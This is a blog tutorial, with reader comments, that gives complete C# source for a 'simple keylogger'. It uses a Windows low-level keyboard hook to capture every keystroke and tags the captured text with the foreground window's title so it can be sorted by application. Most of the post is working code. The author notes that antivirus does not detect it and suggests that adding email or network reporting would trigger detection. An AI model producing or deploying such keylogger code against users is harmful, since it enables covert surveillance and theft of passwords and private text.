C#, WinForm, WPF – Low level hook keyboard to write a simple keylogger

When I saw a video tutorial for writing a simple keylogger in VB.NET, I would like to write my own one in C# because I do not like the way which the author of this video uses a timer to monitor which window is being now the foreground window. This simple keylogger bases on hooking low-level keyboard with API SetWindowsHookEx to get key input. What makes me interesting is Avira Antivirus does not recognize my keylogger as malicious software ^^. I think when I implement to send the report to email or open port to send data back to me, Avira recognizes it immediately.
The keylogger has a low-level hook keyboard engine class.

1. Introduction

LowLevelHook llhEngine = new LowLevelHook();

This class has a KeyDownChar event which will be raised each time when we press a key on the keyboard. The keylogger will subscribe this event and save key into a text box.

llhEngine.KeyDownChar += new LowLevelHook.KeyDownCharEventHandler(llhEngine_KeyDownChar); 
void llhEngine_KeyDownChar(uint vkCode, uint scancode)
{
	IntPtr ipForegroundWindow = GetForegroundWindow();
	int nLength = GetWindowTextLength(ipForegroundWindow);
	StringBuilder sbTemp = new StringBuilder("", nLength + 1);
	m_strPrefix = "";
	GetWindowText(ipForegroundWindow, sbTemp, sbTemp.Capacity);
	if (m_strLast != sbTemp.ToString())
	{
		m_strLast = sbTemp.ToString();
		m_strPrefix = Environment.NewLine + m_strLast + Environment.NewLine;
	}

	txtText.Dispatcher.Invoke(new UpdateTextDel(UpdateText), m_strPrefix + ProcessInputKey(vkCode,scancode));
}

When saving the entered key, I would like to find out if the user is entering data in new window or not. Having this information, we have a chance to separate and organize our data for each application. At the code behind of hook engine, I set a hook with API SetWindowsHookEx

public LowLevelHook()
{
	Process process = Process.GetCurrentProcess();
	ProcessModule module = process.MainModule;
	IntPtr hModule = GetModuleHandle(module.ModuleName);
	KeyboardHookDel = KeyboardHookProc;
	m_ipKeyHookResult = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, KeyboardHookDel, hModule, 0);
}

To get the handle of the current process of keylogger, maybe you think of something like this

System.Runtime.InteropServices.Marshal.GetHINSTANCE(
System.Reflection.Assembly.GetExecutingAssembly.GetModules()[0])

But the code using reflection above does not work together with SetWindowsHookEx. Apply the handle got by code line above to SetWindowsHookEx will be not successful, I always get IntPtr.Zero as result of SetWindowsHookEx. The delegate KeyboardHookDel points to a function which raises KeyDownChar event and vkCode and scan code of the entered key

private IntPtr KeyboardHookProc(int code, IntPtr wParam, IntPtr lParam)
{
	if (code >= HC_ACTION)
	{
		KBDLLHOOKSTRUCT kbhsStruct;
		switch (wParam.ToInt32())
		{
			case WM_KEYDOWN:
			case WM_SYSKEYDOWN:
				kbhsStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, (new KBDLLHOOKSTRUCT()).GetType());                      
				if (KeyDownChar != null) KeyDownChar(kbhsStruct.vkCode,kbhsStruct.scanCode);
				break;
	
		}
	}
	return CallNextHookEx(m_ipKeyHookResult, code, wParam, lParam);
}

2. Source code

The complete source code of this simple keylogger you can download here
https://bitbucket.org/hintdesk/dotnet-hook-keyboard/

3. Updates

Update 09.11.2011

For WPF use this class below. It can also be used for Winform with some modifications.

public class KeyboardListener : IDisposable
{
	/// <summary>
	/// Creates global keyboard listener.
	/// </summary>
	public KeyboardListener()
	{
		// Dispatcher thread handling the KeyDown/KeyUp events.
		this.dispatcher = Dispatcher.CurrentDispatcher;

		// We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
		hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;

		// Set the hook
		hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);

		// Assign the asynchronous callback event
		hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
	}

	private Dispatcher dispatcher;

	/// <summary>
	/// Destroys global keyboard listener.
	/// </summary>
	~KeyboardListener()
	{
		Dispose();
	}

	/// <summary>
	/// Fired when any of the keys is pressed down.
	/// </summary>
	public event RawKeyEventHandler KeyDown;

	/// <summary>
	/// Fired when any of the keys is released.
	/// </summary>
	public event RawKeyEventHandler KeyUp;

	#region Inner workings

	/// <summary>
	/// Hook ID
	/// </summary>
	private IntPtr hookId = IntPtr.Zero;

	/// <summary>
	/// Asynchronous callback hook.
	/// </summary>
	/// <param name="character">Character</param>
	/// <param name="keyEvent">Keyboard event</param>
	/// <param name="vkCode">VKCode</param>
	private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);

	/// <summary>
	/// Actual callback hook.
	///
	/// <remarks>Calls asynchronously the asyncCallback.</remarks>
	/// </summary>
	/// <param name="nCode"></param>
	/// <param name="wParam"></param>
	/// <param name="lParam"></param>
	/// <returns></returns>
	[MethodImpl(MethodImplOptions.NoInlining)]
	private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
	{
		string chars = "";

		if (nCode >= 0)
			if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
			{
				// Captures the character(s) pressed only on WM_KEYDOWN
				chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
					(wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
					wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));

				hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
			}

		return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
	}

	/// <summary>
	/// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
	/// </summary>
	private KeyboardCallbackAsync hookedKeyboardCallbackAsync;

	/// <summary>
	/// Contains the hooked callback in runtime.
	/// </summary>
	private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;

	/// <summary>
	/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
	/// </summary>
	/// <param name="keyEvent">Keyboard event</param>
	/// <param name="vkCode">VKCode</param>
	/// <param name="character">Character as string.</param>
	private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
	{
		switch (keyEvent)
		{
			// KeyDown events
			case InterceptKeys.KeyEvent.WM_KEYDOWN:
				if (KeyDown != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
				break;
			case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
				if (KeyDown != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
				break;

			// KeyUp events
			case InterceptKeys.KeyEvent.WM_KEYUP:
				if (KeyUp != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
				break;
			case InterceptKeys.KeyEvent.WM_SYSKEYUP:
				if (KeyUp != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
				break;

			default:
				break;
		}
	}

	#endregion Inner workings

	#region IDisposable Members

	/// <summary>
	/// Disposes the hook.
	/// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
	/// </summary>
	public void Dispose()
	{
		InterceptKeys.UnhookWindowsHookEx(hookId);
	}

	#endregion IDisposable Members
}

/// <summary>
/// Raw KeyEvent arguments.
/// </summary>
public class RawKeyEventArgs : EventArgs
{
	/// <summary>
	/// VKCode of the key.
	/// </summary>
	public int VKCode;

	/// <summary>
	/// WPF Key of the key.
	/// </summary>
	public Key Key;

	/// <summary>
	/// Is the hitted key system key.
	/// </summary>
	public bool IsSysKey;

	/// <summary>
	/// Convert to string.
	/// </summary>
	/// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
	public override string ToString()
	{
		return Character;
	}

	/// <summary>
	/// Unicode character of key pressed.
	/// </summary>
	public string Character;

	/// <summary>
	/// Create raw keyevent arguments.
	/// </summary>
	/// <param name="VKCode"></param>
	/// <param name="isSysKey"></param>
	/// <param name="Character">Character</param>
	public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
	{
		this.VKCode = VKCode;
		this.IsSysKey = isSysKey;
		this.Character = Character;
		this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
	}
}

/// <summary>
/// Raw keyevent handler.
/// </summary>
/// <param name="sender">sender</param>
/// <param name="args">raw keyevent arguments</param>
public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);

#region WINAPI Helper class

/// <summary>
/// Winapi Key interception helper class.
/// </summary>
internal static class InterceptKeys
{
	public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
	public static int WH_KEYBOARD_LL = 13;

	/// <summary>
	/// Key event
	/// </summary>
	public enum KeyEvent : int
	{
		/// <summary>
		/// Key down
		/// </summary>
		WM_KEYDOWN = 256,

		/// <summary>
		/// Key up
		/// </summary>
		WM_KEYUP = 257,

		/// <summary>
		/// System key up
		/// </summary>
		WM_SYSKEYUP = 261,

		/// <summary>
		/// System key down
		/// </summary>
		WM_SYSKEYDOWN = 260
	}

	public static IntPtr SetHook(LowLevelKeyboardProc proc)
	{
		using (Process curProcess = Process.GetCurrentProcess())
		using (ProcessModule curModule = curProcess.MainModule)
		{
			return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
		}
	}

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	[return: MarshalAs(UnmanagedType.Bool)]
	public static extern bool UnhookWindowsHookEx(IntPtr hhk);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);

	[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr GetModuleHandle(string lpModuleName);

	#region Convert VKCode to string

	// Note: Sometimes single VKCode represents multiple chars, thus string.
	// E.g. typing "^1" (notice that when pressing 1 the both characters appear,
	// because of this behavior, "^" is called dead key)

	[DllImport("user32.dll")]
	private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);

	[DllImport("user32.dll")]
	private static extern bool GetKeyboardState(byte[] lpKeyState);

	[DllImport("user32.dll")]
	private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);

	[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
	private static extern IntPtr GetKeyboardLayout(uint dwLayout);

	[DllImport("User32.dll")]
	private static extern IntPtr GetForegroundWindow();

	[DllImport("User32.dll")]
	private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

	[DllImport("user32.dll")]
	private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);

	[DllImport("kernel32.dll")]
	private static extern uint GetCurrentThreadId();

	private static uint lastVKCode = 0;
	private static uint lastScanCode = 0;
	private static byte[] lastKeyState = new byte[255];
	private static bool lastIsDead = false;

	/// <summary>
	/// Convert VKCode to Unicode.
	/// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
	/// </summary>
	/// <param name="VKCode">VKCode</param>
	/// <param name="isKeyDown">Is the key down event?</param>
	/// <returns>String representing single unicode character.</returns>
	public static string VKCodeToString(uint VKCode, bool isKeyDown)
	{
		// ToUnicodeEx needs StringBuilder, it populates that during execution.
		System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);

		byte[] bKeyState = new byte[255];
		bool bKeyStateStatus;
		bool isDead = false;

		// Gets the current windows window handle, threadID, processID
		IntPtr currentHWnd = GetForegroundWindow();
		uint currentProcessID;
		uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);

		// This programs Thread ID
		uint thisProgramThreadId = GetCurrentThreadId();

		// Attach to active thread so we can get that keyboard state
		if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
		{
			// Current state of the modifiers in keyboard
			bKeyStateStatus = GetKeyboardState(bKeyState);

			// Detach
			AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
		}
		else
		{
			// Could not attach, perhaps it is this process?
			bKeyStateStatus = GetKeyboardState(bKeyState);
		}

		// On failure we return empty string.
		if (!bKeyStateStatus)
			return "";

		// Gets the layout of keyboard
		IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);

		// Maps the virtual keycode
		uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);

		// Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
		if (!isKeyDown)
			return "";

		// Converts the VKCode to unicode
		int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);

		string ret = "";

		switch (relevantKeyCountInBuffer)
		{
			// Dead keys (^,`...)
			case -1:
				isDead = true;

				// We must clear the buffer because ToUnicodeEx messed it up, see below.
				ClearKeyboardBuffer(VKCode, lScanCode, HKL);
				break;

			case 0:
				break;

			// Single character in buffer
			case 1:
				ret = sbString[0].ToString();
				break;

			// Two or more (only two of them is relevant)
			case 2:
			default:
				ret = sbString.ToString().Substring(0, 2);
				break;
		}

		// We inject the last dead key back, since ToUnicodeEx removed it.
		// More about this peculiar behavior see e.g:
		//   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
		//   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
		//   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
		if (lastVKCode != 0 && lastIsDead)
		{
			System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
			ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
			lastVKCode = 0;

			return ret;
		}

		// Save these
		lastScanCode = lScanCode;
		lastVKCode = VKCode;
		lastIsDead = isDead;
		lastKeyState = (byte[])bKeyState.Clone();

		return ret;
	}

	private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
	{
		System.Text.StringBuilder sb = new System.Text.StringBuilder(10);

		int rc;
		do
		{
			byte[] lpKeyStateNull = new Byte[255];
			rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
		} while (rc < 0);
	}

	#endregion Convert VKCode to string
}

#endregion WINAPI Helper class

and use it like this

public partial class MainWindow : Window
{
	KeyboardListener KListener = new KeyboardListener();

	public MainWindow()
	{
		InitializeComponent();
	}

	private void Window_Loaded(object sender, RoutedEventArgs e)
	{
		KListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
	}

	private void KListener_KeyDown(object sender, RawKeyEventArgs args)
	{
		//Console.WriteLine(args.Key.ToString());
		//Console.WriteLine(args.ToString()); // Prints the text of pressed button, takes in account big and small letters. E.g. "Shift+a" => "A"
		txtText.Text += args.ToString();
	}

	private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
	{
		KListener.Dispose();
	}
}

18 thoughts on “C#, WinForm, WPF – Low level hook keyboard to write a simple keylogger”

  1. @Sufian: I tested with Vietnamese and it works. I am sorry that I can’t help you because I do not have an Arabic keyboard.

  2. THANKS!
    Thanks, I seeked in the internet a lot of C# open surce free keyloggers, and this was the only one that i found with full and bug free c# keylogger.

  3. Hello, nice work. I’m trying to implement something like that for my job but in winforms (when I try to organize a project everything is messed up and nothing works). Can you make a little example in winforms??? That will help me so much (I’m in a hurry here! XD).

    Thank You.

  4. Really nice example. But the accents stops working. Like ~~, ou ´´ when you press the key. I can’t find a solution. Can you, please?

  5. Thanks for posting this it was extremely helpful,
    I am not looking to make any malicious software but I wanted to catch keys with the program in the background so thank you.

  6. Thank you for your very clear information and guide.
    It helped me understand quite a few new things!

    Keep up the great tutorials!

  7. Nice 1
    thanks a lot
    I searched very hard for this
    but I satisfy by only this solution
    I want same for mouse keys
    any solution??

  8. It can’t work in WPF. When I type “as” mean “á” in Vietnamese, it crash and show an error “Index was outside the bound”.
    // Single character in buffer
    case 1:
    ret = sbString[0].ToString(); <– error in this line
    break;
    Any solution for my situation?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.